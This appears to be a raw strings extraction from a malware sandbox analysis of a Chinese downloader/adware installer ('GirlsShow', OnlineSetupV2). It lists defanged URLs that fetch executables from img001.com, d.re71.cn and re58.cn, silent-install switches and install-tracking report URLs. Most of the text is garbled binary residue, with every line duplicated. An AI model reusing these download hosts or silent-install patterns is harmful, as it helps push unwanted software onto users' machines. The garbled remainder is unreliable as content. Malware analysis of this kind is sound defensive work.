uR~tS}sU|qTxnRwlQxjOuiNrfNpcNn_Nn`Nl`Ml_Lj`Kh_Jh]Jh]Ii\Hf[GeYEeYEeYEdYFfYGfYGeXGdWFeXEg\Fh_Hg`GicHibGjcGmeIniHokJtnMxqO|rQ~uR
]l|[l|]l|[izYhyZhxYgxWfwVduUdtTfuVgvVfvVfwVewWfwXgvXgwWfwWevUduTeuTewSdvTduTcsTcrTcqTdoSepRepSeoTenOF'PG'QH'QI(RH'TJ(SK)TH'XJ&YM&[N(\O)]P*`T-_S-`U bV*eV fZ*h^ j_-ma.oa0qb2sf4uh5uh5vk6xl9xk;xjp]?o]?lZ?l[=k\;iZ:hX9gV8gU9gW;fV;cW=cW?cT@aR>aTVOSJ?RJPK=PK>PK>NK>OK?OK?NK?MJ@NJAOJ@PJ?OJ?OJ?PJ>QL@SOCUSBWUCYUD[UD\XF_\Fc_FhcHlfKomLrsKxvN~{T
]l|[l|]l|[izYhyZhxYgxWfwVduUdtTfuVgvVfvVfwVewWfwXgvXgwWfwWevUduTeuTewSdvTduTcsTcrTcqTdoSepRepSeoTenOF'PG'QH'QI(RH'TJ(SK)TH'XJ&YM&[N(\O)]P*`T-_S-`U bV*eV fZ*h^ j_-ma.oa0qb2sf4uh5uh5vk6xl9xk;xjp]?o]?lZ?l[=k\;iZ:hX9gV8gU9gW;fV;cW=cW?cT@aR>aTVOSJ?RJPK=PK>PK>NK>OK?OK?NK?MJ@NJAOJ@PJ?OJ?OJ?PJ>QL@SOCUSBWUCYUD[UD\XF_\Fc_FhcHlfKomLrsKxvN~{T
Sh~Rh~Sf~Pf|Pe{Qh|Ri|Si|WgzYgyYhzYgyYhzYizYiz[jz\j{]jz_j{^k{_l{^n|]nz[mw]ly^lx^jx]jv\kuWJ(UJ'UJ'VJ'XK([M([M'[L)\O*\N*[M*^Q,^Q,^S,_T,`U,bV-eW.gX/h[/gZ.h[2j\3j]3l]4k[6j[6j[5fY4fZ3dW2dV5dV6bT5bR4`R3`R3_Q4\O4[N2ZN3XK1VJ.UG/UH/WJ1UI3UI5SH4RF4PE5OE3LF0KH0MI3JH4HG3JG3IH4HG3GF2FE2GF4HF5GF4HF5HG7GH:GG;FF;FF:GF:FE:EE;ED?F=AF=@F=?E>?E=?FCF@CD@DC@EE>GDGH?IJAJLCLNCPOCTPCURCYVF]ZFb_FfdFjgHroNwtPyyP
Sh~Rh~Sf~Pf|Pe{Qh|Ri|Si|WgzYgyYhzYgyYhzYizYiz[jz\j{]jz_j{^k{_l{^n|]nz[mw]ly^lx^jx]jv\kuWJ(UJ'UJ'VJ'XK([M([M'[L)\O*\N*[M*^Q,^Q,^S,_T,`U,bV-eW.gX/h[/gZ.h[2j\3j]3l]4k[6j[6j[5fY4fZ3dW2dV5dV6bT5bR4`R3`R3_Q4\O4[N2ZN3XK1VJ.UG/UH/WJ1UI3UI5SH4RF4PE5OE3LF0KH0MI3JH4HG3JG3IH4HG3GF2FE2GF4HF5GF4HF5HG7GH:GG;FF;FF:GF:FE:EE;ED?F=AF=@F=?E>?E=?FCF@CD@DC@EE>GDGH?IJAJLCLNCPOCTPCURCYVF]ZFb_FfdFjgHroNwtPyyP
Od~Od~Sc|Vd{We|Vf|Vg}Wg~Xh~Yi}Yi}\j}]i|^k}_l}^l}_m~`l}`m}`o{`oz`rx`rx]Q'\P(\P)\P(]Q(`R*_Q*^Q _S _S `S,`T.aT.aT/bU0dU2eW1eW0gW1gX0gX/gX1hX1gY0fX1eW4cV2cV1aS0`S1`U0`S0_R2^R0]Q0]P1ZN1XM1XM1UJ.VL0VL/SI-VI1VI1SH4QG4PG3OG3MF1LG2IH4IJ4IH4HG3FG3FG3FF3FG3EG2EF2DC3DC4BC4AC6BD7BD;@CB9?B:=@;C;>C>@B@CB?EB?DB?DE?GH@HJCHKBKMCOODQOCSRCXXD\[Gb_IhfJmmIrrJwuN{zP
Od~Od~Sc|Vd{We|Vf|Vg}Wg~Xh~Yi}Yi}\j}]i|^k}_l}^l}_m~`l}`m}`o{`oz`rx`rx]Q'\P(\P)\P(]Q(`R*_Q*^Q _S _S `S,`T.aT.aT/bU0dU2eW1eW0gW1gX0gX/gX1hX1gY0fX1eW4cV2cV1aS0`S1`U0`S0_R2^R0]Q0]P1ZN1XM1XM1UJ.VL0VL/SI-VI1VI1SH4QG4PG3OG3MF1LG2IH4IJ4IH4HG3FG3FG3FF3FG3EG2EF2DC3DC4BC4AC6BD7BD;@CB9?B:=@;C;>C>@B@CB?EB?DB?DE?GH@HJCHKBKMCOODQOCSRCXXD\[Gb_IhfJmmIrrJwuN{zP
Te~Ug}Wf|[i}Zi}Zi|[j}\j}]j|^k}_l|`m{_nybZ)b\*bX*dZ dY,cW.dV.eW.dV.dU/eV0fW/fX/gX1hZ6i[5h[2hY3hZ2hZ/hZ/gX0fW1eW0dX1cW1bT0bT1`S0`T1^U0_U0^R0\N0ZN0YM/WM/XL0XM1WL0UK0VL2VJ3TI4RG4QF4QG4QG2NG1MH0LI3II5JI5GG5EG3FG2EF2CF2BE2BE0AD1AB5@B5>B7?C:?C:=B99?99@:8?:8>:9;8?;8?;9@>:B>>C=?B>>A>@B?DB?DE@FHAIJBJMCMNCPPCSRBVUB[YC^^EcaIieMmmLqsLuvPzzQ
Te~Ug}Wf|[i}Zi}Zi|[j}\j}]j|^k}_l|`m{_nybZ)b\*bX*dZ dY,cW.dV.eW.dV.dU/eV0fW/fX/gX1hZ6i[5h[2hY3hZ2hZ/hZ/gX0fW1eW0dX1cW1bT0bT1`S0`T1^U0_U0^R0\N0ZN0YM/WM/XL0XM1WL0UK0VL2VJ3TI4RG4QF4QG4QG2NG1MH0LI3II5JI5GG5EG3FG2EF2CF2BE2BE0AD1AB5@B5>B7?C:?C:=B99?99@:8?:8>:9;8?;8?;9@>:B>>C=?B>>A>@B?DB?DE@FHAIJBJMCMNCPPCSRBVUB[YC^^EcaIieMmmLqsLuvPzzQ
!iTXtXML:com.adobe.xmp
!iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
%Sc9!
%Sc9!
.HN:@
.HN:@
Y[FJ%-.-I}b}a
Y[FJ%-.-I}b}a
Fz.ss
Fz.ss
.OzV(h
.OzV(h
Y;-.nX
Y;-.nX
-p}L%l
-p}L%l
%%cUf
%%cUf
.DyER
.DyER
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
~ˆ88.lp
~ˆ88.lp
5u
5u
zßk
zßk
url&|
url&|
6&.ZYn
6&.ZYn
>.GbbbUt
>.GbbbUt
I[.rk
I[.rk
I\J%F:
I\J%F:
IKLz%s
IKLz%s
3%uZ,
3%uZ,
$1!.JT
$1!.JT
" id="W5M0MpCehiHzreSzNTczkc9d"?> w
" id="W5M0MpCehiHzreSzNTczkc9d"?> w
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
Winapi.TlHelp32
Winapi.TlHelp32
Winapi.Windows
Winapi.Windows
System.UITypes
System.UITypes
System.Types
System.Types
%System.Classes
%System.Classes
dSystem.SysConst
dSystem.SysConst
System.RTLConsts
System.RTLConsts
,System.Character
,System.Character
System.SysUtils
System.SysUtils
ISystem.Internal.ExcUtils
ISystem.Internal.ExcUtils
kWinapi.PsAPI
kWinapi.PsAPI
Winapi.SHFolder
Winapi.SHFolder
-Winapi.ImageHlp
-Winapi.ImageHlp
System.TypInfo
System.TypInfo
System.Variants
System.Variants
System.VarUtils
System.VarUtils
Winapi.ActiveX
Winapi.ActiveX
Winapi.Messages
Winapi.Messages
&System.DateUtils
&System.DateUtils
System.Generics.Defaults
System.Generics.Defaults
System.Generics.Collections
System.Generics.Collections
System.SyncObjs
System.SyncObjs
System.Math
System.Math
System.Diagnostics
System.Diagnostics
System.TimeSpan
System.TimeSpan
YSystem.AnsiStrings
YSystem.AnsiStrings
System.StrUtils
System.StrUtils
IdStackWindows
IdStackWindows
System.WideStrUtils
System.WideStrUtils
Winapi.Dlgs
Winapi.Dlgs
Winapi.RichEdit
Winapi.RichEdit
8Vcl.ToolWin
8Vcl.ToolWin
Vcl.Graphics
Vcl.Graphics
yVcl.Consts
yVcl.Consts
'System.UIConsts
'System.UIConsts
System.Win.Registry
System.Win.Registry
System.IniFiles
System.IniFiles
iSystem.IOUtils
iSystem.IOUtils
System.Masks
System.Masks
Winapi.Wincodec
Winapi.Wincodec
eVcl.Forms
eVcl.Forms
Vcl.ImgList
Vcl.ImgList
Vcl.Themes
Vcl.Themes
RVcl.Dialogs
RVcl.Dialogs
System.HelpIntfs
System.HelpIntfs
NSystem.Contnrs
NSystem.Contnrs
Winapi.MultiMon
Winapi.MultiMon
CVcl.ExtCtrls
CVcl.ExtCtrls
Winapi.CommCtrl
Winapi.CommCtrl
Winapi.Dwmapi
Winapi.Dwmapi
Winapi.UxTheme
Winapi.UxTheme
Winapi.ShellAPI
Winapi.ShellAPI
Winapi.IpExport
Winapi.IpExport
Winapi.Winsock2
Winapi.Winsock2
Winapi.Qos
Winapi.Qos
Vcl.GraphUtil
Vcl.GraphUtil
System.ZLib
System.ZLib
System.Win.Crtl
System.Win.Crtl
Vcl.StdCtrls
Vcl.StdCtrls
Vcl.ActnList
Vcl.ActnList
Vcl.Controls
Vcl.Controls
Winapi.TpcShrd
Winapi.TpcShrd
:Winapi.Imm
:Winapi.Imm
(Vcl.Menus
(Vcl.Menus
Vcl.ComCtrls
Vcl.ComCtrls
Winapi.CommDlg
Winapi.CommDlg
Winapi.ShlObj
Winapi.ShlObj
Winapi.msxml
Winapi.msxml
System.Win.ComObj
System.Win.ComObj
System.Win.ComConst
System.Win.ComConst
Winapi.StructuredQueryCondition
Winapi.StructuredQueryCondition
Winapi.PropSys
Winapi.PropSys
Winapi.ObjectArray
Winapi.ObjectArray
hWinapi.UrlMon
hWinapi.UrlMon
Winapi.WinInet
Winapi.WinInet
4Winapi.RegStr
4Winapi.RegStr
Vcl.StdActns
Vcl.StdActns
jVcl.Clipbrd
jVcl.Clipbrd
WVcl.ComStrs
WVcl.ComStrs
bVcl.Printers
bVcl.Printers
Winapi.WinSpool
Winapi.WinSpool
Vcl.ListActns
Vcl.ListActns
Winapi.FlatSB
Winapi.FlatSB
Winapi.DirectDraw
Winapi.DirectDraw
Winapi.GDIPAPI
Winapi.GDIPAPI
Winapi.GDIPOBJ
Winapi.GDIPOBJ
Soap.EncdDecd
Soap.EncdDecd
Font.Charset
Font.Charset
Font.Color
Font.Color
Font.Height
Font.Height
Font.Name
Font.Name
Font.Style
Font.Style
Picture.Data
Picture.Data
72701-/%
72701-/%
3355555522
3355555522
K1.WF
K1.WF
*%D
*%D
0Pn.DX
0Pn.DX
.sF_?
.sF_?
%D;::"
%D;::"
crtp
crtp
#msg.
#msg.
eUE].Iz
eUE].Iz
#.GcZI
#.GcZI
2M1%x>
2M1%x>
]m.iv[
]m.iv[
-D.mmSZ
-D.mmSZ
Dr[%D
Dr[%D
.dEu(~
.dEu(~
@.eZ;N
@.eZ;N
y6%S5-
y6%S5-
6-U}`
6-U}`
.fkjmM
.fkjmM
Items.Strings
Items.Strings
04/21/15 02:54:132696
04/21/15 02:54:132696
1, 0, 0, 1
1, 0, 0, 1
Client.EXE
Client.EXE
iexplore.exe_1632:
%?9-*09,*19}*09
%?9-*09,*19}*09
.text
.text
`.data
`.data
.rsrc
.rsrc
msvcrt.dll
msvcrt.dll
KERNEL32.dll
KERNEL32.dll
NTDLL.DLL
NTDLL.DLL
USER32.dll
USER32.dll
SHLWAPI.dll
SHLWAPI.dll
SHDOCVW.dll
SHDOCVW.dll
Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess
Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess
IE-X-X
IE-X-X
rsabase.dll
rsabase.dll
System\CurrentControlSet\Control\Windows
System\CurrentControlSet\Control\Windows
dw15 -x -s %u
dw15 -x -s %u
watson.microsoft.com
watson.microsoft.com
IEWatsonURL
IEWatsonURL
%s -h %u
%s -h %u
iedw.exe
iedw.exe
Iexplore.XPExceptionFilter
Iexplore.XPExceptionFilter
jscript.DLL
jscript.DLL
mshtml.dll
mshtml.dll
mlang.dll
mlang.dll
urlmon.dll
urlmon.dll
wininet.dll
wininet.dll
shdocvw.DLL
shdocvw.DLL
browseui.DLL
browseui.DLL
comctl32.DLL
comctl32.DLL
IEXPLORE.EXE
IEXPLORE.EXE
iexplore.pdb
iexplore.pdb
ADVAPI32.dll
ADVAPI32.dll
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
IExplorer.EXE
IExplorer.EXE
IIIIIB(II<.fg>
IIIIIB(II<.fg>
7?_____ZZSSH%
7?_____ZZSSH%
)z.UUUUUUUU
)z.UUUUUUUU
,....Qym
,....Qym
````2```
````2```
{.QLQIIIKGKGKGKGKGKG
{.QLQIIIKGKGKGKGKGKG
;33;33;0
;33;33;0
8888880
8888880
8887080
8887080
browseui.dll
browseui.dll
shdocvw.dll
shdocvw.dll
6.00.2900.5512 (xpsp.080413-2105)
6.00.2900.5512 (xpsp.080413-2105)
Windows
Windows
Operating System
Operating System
6.00.2900.5512
6.00.2900.5512
girlshow_22000025816.exe_2024:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
t.Ht4
t.Ht4
.\ConfigDlg.cpp
.\ConfigDlg.cpp
ServiceClient.dll
ServiceClient.dll
ServiceClient.exe
ServiceClient.exe
Player\DefCamSetup.dll
Player\DefCamSetup.dll
CamerDll:%s
CamerDll:%s
dbghelp.dll
dbghelp.dll
%sddd_ddd.dmp
%sddd_ddd.dmp
CGuaGuaMsgBoxDlg
CGuaGuaMsgBoxDlg
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
.\ImageMgr.cpp
.\ImageMgr.cpp
Resource%d
Resource%d
FirstImage %s
FirstImage %s
LastImage %s
LastImage %s
Image%d
Image%d
%c:\Program Files\
%c:\Program Files\
.\ProductInfoMgr.cpp
.\ProductInfoMgr.cpp
GetAllProductInfo %d
GetAllProductInfo %d
hXXp://downloader.re58.cn/downcontainer/downLoad.do
hXXp://downloader.re58.cn/downcontainer/downLoad.do
log\1.xml
log\1.xml
hXXp://downloader.re58.cn/downcontainer/downLoadInfo.do
hXXp://downloader.re58.cn/downcontainer/downLoadInfo.do
%s?id=%s&oemID=%d&recid=%I64d
%s?id=%s&oemID=%d&recid=%I64d
%s?oemID=%d&recid=%I64d
%s?oemID=%d&recid=%I64d
log\2.xml
log\2.xml
installUrl
installUrl
installUrl2
installUrl2
licenseUrl
licenseUrl
LoadConfig %d
LoadConfig %d
App GetProductInfo(%s) Error %d
App GetProductInfo(%s) Error %d
hXXp://img001.com/business/kele.exe
hXXp://img001.com/business/kele.exe
hXXp://img001.com/business/qixi.exe
hXXp://img001.com/business/qixi.exe
hXXp://img001.com/business/qiji.exe
hXXp://img001.com/business/qiji.exe
hXXp://img001.com/business/juxing.exe
hXXp://img001.com/business/juxing.exe
hXXp://img001.com/business/pingguo.exe
hXXp://img001.com/business/pingguo.exe
hXXp://img001.com/business/caihong.exe
hXXp://img001.com/business/caihong.exe
hXXp://d.re71.cn/business/kele.exe
hXXp://d.re71.cn/business/kele.exe
hXXp://d.re71.cn/business/qixi.exe
hXXp://d.re71.cn/business/qixi.exe
hXXp://d.re71.cn/business/qiji.exe
hXXp://d.re71.cn/business/qiji.exe
hXXp://d.re71.cn/business/juxing.exe
hXXp://d.re71.cn/business/juxing.exe
hXXp://d.re71.cn/business/pingguo.exe
hXXp://d.re71.cn/business/pingguo.exe
hXXp://d.re71.cn/business/caihong.exe
hXXp://d.re71.cn/business/caihong.exe
hXXp://VVV.%s.com
hXXp://VVV.%s.com
hXXp://cj.%s.com/downloader/
hXXp://cj.%s.com/downloader/
hXXp://img001.com/business/guagua_setup.exe
hXXp://img001.com/business/guagua_setup.exe
hXXp://img001.com/business/guagua_dance_setup.exe
hXXp://img001.com/business/guagua_dance_setup.exe
GuaGua\GuaGua.exe
GuaGua\GuaGua.exe
Dance\ChatHall.exe
Dance\ChatHall.exe
hXXp://cj.guagua.cn/downloader/
hXXp://cj.guagua.cn/downloader/
ChatHall.exe
ChatHall.exe
UpdateConfig Success%d
UpdateConfig Success%d
hXXp://download.re58.cn
hXXp://download.re58.cn
LoadCookie %d
LoadCookie %d
LoadCookie: RecommendStr=%s
LoadCookie: RecommendStr=%s
%d:%I64d:%d
%d:%I64d:%d
UpdateConfig RecType:%d, RecId:%I64d, Ad:%d
UpdateConfig RecType:%d, RecId:%I64d, Ad:%d
HMAFROMURL
HMAFROMURL
UpdateConfig: SourceUrl=%s
UpdateConfig: SourceUrl=%s
UpdateConfig: WebID=%s
UpdateConfig: WebID=%s
G1.0.0
G1.0.0
%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d
%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d
%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s
%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s
%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d&insttime=%d&homepage=%d&recinst=%d
%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d&insttime=%d&homepage=%d&recinst=%d
%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&err=%d
%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&err=%d
rec_type:%d,
rec_type:%d,
rec_ad:%d,
rec_ad:%d,
src_url:%s,
src_url:%s,
web_id:%s,
web_id:%s,
.\ReptThread.cpp
.\ReptThread.cpp
Rept %s Result [%d, %d]
Rept %s Result [%d, %d]
%slog\ddd ddd.log
%slog\ddd ddd.log
.\SetupTool.cpp
.\SetupTool.cpp
CSetupToolApp %d
CSetupToolApp %d
CImageMgr::Instance().LoadFromServer()
CImageMgr::Instance().LoadFromServer()
CImageMgr::Instance().LoadFromServer() Success
CImageMgr::Instance().LoadFromServer() Success
.\SetupToolDlg.cpp
.\SetupToolDlg.cpp
OnCmdStart() m_bPinTaskbar=%d
OnCmdStart() m_bPinTaskbar=%d
OnCmdStart() strPorductName=%s
OnCmdStart() strPorductName=%s
State=%d,runafterinstall=%d
State=%d,runafterinstall=%d
OnCmdStart() StartClient=%d
OnCmdStart() StartClient=%d
/S /AUTOSTART=%s /COMMENDER_ID=%s /D=%s
/S /AUTOSTART=%s /COMMENDER_ID=%s /D=%s
Launch InstallProgram: %s %s
Launch InstallProgram: %s %s
CSetupToolDlg::LaunchInstallProgram() path=%s Fail
CSetupToolDlg::LaunchInstallProgram() path=%s Fail
State=%d
State=%d
nCount=%d,currentImage=%d
nCount=%d,currentImage=%d
Call LaunchGuaGua(%s)
Call LaunchGuaGua(%s)
CSetupToolDlg::LaunchGuaGua() path=%s Fail
CSetupToolDlg::LaunchGuaGua() path=%s Fail
Exec %s [%d]
Exec %s [%d]
-%%
-%%
\DownLoader\OnlineSetupV2\Common\Path.cpp
\DownLoader\OnlineSetupV2\Common\Path.cpp
ExecApp %s %s [%d]
ExecApp %s %s [%d]
[%d, %d]: %s
[%d, %d]: %s
\DownLoader\OnlineSetupV2\Common\ColorCheckButton.cpp
\DownLoader\OnlineSetupV2\Common\ColorCheckButton.cpp
Checked %d
Checked %d
\DownLoader\OnlineSetupV2\Common\BitmapFile.cpp
\DownLoader\OnlineSetupV2\Common\BitmapFile.cpp
CBitmapFile::Open(%s)
CBitmapFile::Open(%s)
\DownLoader\OnlineSetupV2\Common\DownloadManager.cpp
\DownLoader\OnlineSetupV2\Common\DownloadManager.cpp
InternalDownloadFile() break=%d
InternalDownloadFile() break=%d
SupportBreakDownload
SupportBreakDownload
Begin SupportBreakDownload
Begin SupportBreakDownload
End SupportBreakDownload bThreadFinish=%d
End SupportBreakDownload bThreadFinish=%d
\DownLoader\OnlineSetupV2\Common\DownloadThread.cpp
\DownLoader\OnlineSetupV2\Common\DownloadThread.cpp
Begin OnExecute GetUnfinishBytes nId=%d
Begin OnExecute GetUnfinishBytes nId=%d
End OnExecute GetUnfinishBytes nId=%d
End OnExecute GetUnfinishBytes nId=%d
End OnExecute Receive nId=%d
End OnExecute Receive nId=%d
Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
\DownLoader\OnlineSetupV2\Common\HttpClass.cpp
\DownLoader\OnlineSetupV2\Common\HttpClass.cpp
CHttpClass SetOption
CHttpClass SetOption
CHttpClass SetOption Finish
CHttpClass SetOption Finish
GetHttpFile(%s, %s) error: [%d,%d]%s
GetHttpFile(%s, %s) error: [%d,%d]%s
SendHttpMsg %d
SendHttpMsg %d
SendHttpMsg %d %s
SendHttpMsg %d %s
SendHttpMsg(%s) error: [%d,%d]%s
SendHttpMsg(%s) error: [%d,%d]%s
User-Agent: %s
User-Agent: %s
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
PostHttpMsg(%s) error: [%d,%d]%s
PostHttpMsg(%s) error: [%d,%d]%s
GetHttpFileInfo(%s) error: [%d,%d]%s
GetHttpFileInfo(%s) error: [%d,%d]%s
HttpRangeRequest(%s, %I64d, %I64d) error: [%d,%d]%s
HttpRangeRequest(%s, %I64d, %I64d) error: [%d,%d]%s
HttpRequest(%s) error: [%d,%d]%s
HttpRequest(%s) error: [%d,%d]%s
ReceiveBytes(%d) error: [%d,%d]%s
ReceiveBytes(%d) error: [%d,%d]%s
\DownLoader\OnlineSetupV2\Common\OutputFile.cpp
\DownLoader\OnlineSetupV2\Common\OutputFile.cpp
%s, %d
%s, %d
%s, length = %I64d err = %d
%s, length = %I64d err = %d
COutputFile::WriteData(%I64d, %d)
COutputFile::WriteData(%I64d, %d)
d:d:d:d
d:d:d:d
File: %s
File: %s
Line:%d
Line:%d
Cond: ASSERT( %s );
Cond: ASSERT( %s );
Condition: ASSERT( %s );
Condition: ASSERT( %s );
SourceFile: %s
SourceFile: %s
LineNum: %d
LineNum: %d
COMCTL32.DLL
COMCTL32.DLL
hhctrl.ocx
hhctrl.ocx
commctrl_DragListMsg
commctrl_DragListMsg
CCmdTarget
CCmdTarget
CNotSupportedException
CNotSupportedException
ntdll.dll
ntdll.dll
kernel32.dll
kernel32.dll
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
%s.dll
%s.dll
CHttpConnection
CHttpConnection
CHttpFile
CHttpFile
hXXp://
hXXp://
WININET.DLL
WININET.DLL
HTTP/1.0
HTTP/1.0
MSWHEEL_ROLLMSG
MSWHEEL_ROLLMSG
user32.dll
user32.dll
ole32.dll
ole32.dll
mscoree.dll
mscoree.dll
internal state. The program cannot safely continue execution and must
internal state. The program cannot safely continue execution and must
continue execution and must now be terminated.
continue execution and must now be terminated.
- This application cannot run using the active version of the Microsoft .NET Runtime
- This application cannot run using the active version of the Microsoft .NET Runtime
Please contact the application's support team for more information.
Please contact the application's support team for more information.
GetProcessWindowStation
GetProcessWindowStation
OLEACC.dll
OLEACC.dll
d:\DownLoader\OnlineSetupV2\GirlsShow_together_select\SmallStationRelease\SetupTool.pdb
d:\DownLoader\OnlineSetupV2\GirlsShow_together_select\SmallStationRelease\SetupTool.pdb
GetCPInfo
GetCPInfo
KERNEL32.dll
KERNEL32.dll
CreateDialogIndirectParamA
CreateDialogIndirectParamA
GetKeyState
GetKeyState
UnhookWindowsHookEx
UnhookWindowsHookEx
SetWindowsHookExA
SetWindowsHookExA
USER32.dll
USER32.dll
GetViewportExtEx
GetViewportExtEx
SetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
GDI32.dll
GDI32.dll
comdlg32.dll
comdlg32.dll
WINSPOOL.DRV
WINSPOOL.DRV
RegCloseKey
RegCloseKey
RegOpenKeyExA
RegOpenKeyExA
RegEnumKeyExA
RegEnumKeyExA
RegOpenKeyA
RegOpenKeyA
RegDeleteKeyA
RegDeleteKeyA
RegEnumKeyA
RegEnumKeyA
RegCreateKeyExA
RegCreateKeyExA
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteA
ShellExecuteA
ShellExecuteExA
ShellExecuteExA
SHELL32.dll
SHELL32.dll
COMCTL32.dll
COMCTL32.dll
UrlUnescapeA
UrlUnescapeA
SHLWAPI.dll
SHLWAPI.dll
oledlg.dll
oledlg.dll
OLEAUT32.dll
OLEAUT32.dll
InternetCrackUrlA
InternetCrackUrlA
InternetCanonicalizeUrlA
InternetCanonicalizeUrlA
HttpAddRequestHeadersA
HttpAddRequestHeadersA
HttpQueryInfoA
HttpQueryInfoA
HttpSendRequestA
HttpSendRequestA
HttpOpenRequestA
HttpOpenRequestA
WININET.dll
WININET.dll
GdipSetImageAttributesColorKeys
GdipSetImageAttributesColorKeys
GdiplusShutdown
GdiplusShutdown
gdiplus.dll
gdiplus.dll
WS2_32.dll
WS2_32.dll
.PAVCObject@@
.PAVCObject@@
.PAVCException@@
.PAVCException@@
.PAVCINETException@@
.PAVCINETException@@
.PAVCInternetException@@
.PAVCInternetException@@
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.PAVCUserException@@
.PAVCUserException@@
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCOleException@@
.PAVCOleException@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
.PAVCInvalidArgException@@
.PAVCInvalidArgException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.?AVCHttpConnection@@
.?AVCHttpConnection@@
.?AVCHttpFile@@
.?AVCHttpFile@@
.PAVCArchiveException@@
.PAVCArchiveException@@
.PAVCFileException@@
.PAVCFileException@@
.PAVCOleDispatchException@@
.PAVCOleDispatchException@@
zcÃ
zcÃ
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\log\20150427 014833.log
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\log\20150427 014833.log
01:49:52:545 Rept hXXp://cj.pingguo55.com/downloader/installcomplete?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393&dltime=65437&insttime=6672&homepage=1&recinst=0 Result [1, 200]
01:49:52:545 Rept hXXp://cj.pingguo55.com/downloader/installcomplete?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393&dltime=65437&insttime=6672&homepage=1&recinst=0 Result [1, 200]
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\girlshow_22000025816.exe
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\girlshow_22000025816.exe
fiTXtXML:com.adobe.xmp
fiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
..pV3
..pV3
l.CG
l.CG
!%dZG
!%dZG
R/.XR
R/.XR
-.JA
-.JA
"iTXtXML:com.adobe.xmp
"iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
B.iM4ZT@
B.iM4ZT@
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
A%XS=M
A%XS=M
.gW]X
.gW]X
Z.Is&
Z.Is&
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
.VOUc
.VOUc
.^/.xx
.^/.xx
.hBeNz"
.hBeNz"
%UK-r
%UK-r
)II,%d
)II,%d
9T*g
9T*g
dC".aPya
dC".aPya
cX%Sd&
cX%Sd&
}.fca|
}.fca|
.JK*l
.JK*l
Z_.ud
Z_.ud
X9NKey
X9NKey
.HMDz!'G%
.HMDz!'G%
.SY$lA2xC
.SY$lA2xC
" id="W5M0MpCehiHzreSzNTczkc9d"?> ,aS
" id="W5M0MpCehiHzreSzNTczkc9d"?> ,aS
